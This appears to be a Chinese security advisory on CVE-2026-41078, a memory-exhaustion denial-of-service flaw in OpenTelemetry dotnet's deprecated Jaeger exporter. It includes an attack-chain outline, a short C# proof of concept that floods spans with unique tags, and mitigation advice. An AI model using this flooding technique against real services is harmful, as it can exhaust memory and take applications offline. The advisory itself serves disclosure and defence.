IPBUF安全漏洞报告
English
CVE-2026-41078 CVSS 5.9 中危

CVE-2026-41078 OpenTelemetry内存耗尽漏洞

披露日期: 2026-04-23

漏洞信息

漏洞编号
CVE-2026-41078
漏洞类型
拒绝服务
CVSS评分
5.9 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
OpenTelemetry dotnet

相关标签

CVE-2026-41078拒绝服务DoSOpenTelemetry内存泄漏dotnet

漏洞概述

OpenTelemetry dotnet 的 Exporter.Jaeger 组件在 1.6.0-rc.1 及更早版本中存在漏洞。当处理高基数或攻击者控制的遥测输入时,内部池化列表尺寸会根据观察到的 span/tag 集合而增长,并在随后的分配中重复使用该增大后的尺寸。这会导致内存消耗显著增加,可能引发拒绝服务。由于该组件已于 2023 年弃用,官方暂无修复计划。

技术细节

该漏洞源于 OpenTelemetry.Exporter.Jaeger 内部内存管理机制的不当实现。在处理包含大量标签或 span 的遥测数据时,内部使用的池化列表会自动扩容以适应数据规模。然而,该扩容后的尺寸会被保留并复用于后续的内存分配操作。攻击者可以通过发送构造的高基数遥测数据(例如包含大量唯一标签的 span)诱发列表扩容。由于扩容后的尺寸被复用,即使后续处理正常数据,也会持续占用大量内存,导致内存压力持续累积,最终耗尽系统资源,造成应用程序崩溃或拒绝服务。

攻击链分析

STEP 1
侦察
攻击者确认目标应用程序使用了易受攻击版本的 OpenTelemetry dotnet (<= 1.6.0-rc.1) 并启用了 Jaeger Exporter。
STEP 2
资源构建
攻击者准备包含大量唯一标签或高基数数据的遥测 Span 数据,旨在触发内部池化列表的扩容。
STEP 3
攻击投递
攻击者向目标应用程序发送这些特制的遥测数据流。
STEP 4
资源耗尽
应用程序处理数据时,内部列表扩容至较大尺寸并保留。随后的分配复用该大尺寸,导致内存占用持续增加。
STEP 5
拒绝服务
持续的内存压力导致应用程序或系统内存耗尽,最终造成服务崩溃或响应停止。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
using OpenTelemetry; using OpenTelemetry.Trace; using System; using System.Threading.Tasks; namespace PoC_CVE_2026_41078 { class Program { static async Task Main(string[] args) { // Initialize TracerProvider with Jaeger Exporter (Vulnerable version <= 1.6.0-rc.1) using var tracerProvider = Sdk.CreateTracerProviderBuilder() .AddSource("PoC-Source") .AddJaegerExporter() // The vulnerable component .Build(); var tracer = TracerProvider.Default.GetTracer("PoC-Source"); Console.WriteLine("Starting attack simulation..."); // Attack Vector: High cardinality tags to force internal pool growth for (int i = 0; i < 20000; i++) { using var span = tracer.StartActiveSpan("MemoryPressureSpan"); // Add unique tags to force the internal pooled list to grow span.SetAttribute("unique_key_" + i, new string('A', 1024)); span.End(); if (i % 1000 == 0) { Console.WriteLine($"Sent {i} spans. Check memory usage."); // Allow some time for memory pressure to build await Task.Delay(100); } } Console.WriteLine("Attack finished. Memory usage should remain high due to pool reuse."); } } }

影响范围

OpenTelemetry dotnet <= 1.6.0-rc.1 (OpenTelemetry.Exporter.Jaeger)

防御指南

临时缓解措施
由于 OpenTelemetry.Exporter.Jaeger 组件已被弃用且官方不计划修复此漏洞,唯一的根本解决方法是移除该组件并迁移至 OTLP Exporter。若无法立即迁移,建议在网关或应用入口处限制传入请求的标签数量,防止高基数数据触发内存池异常增长。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表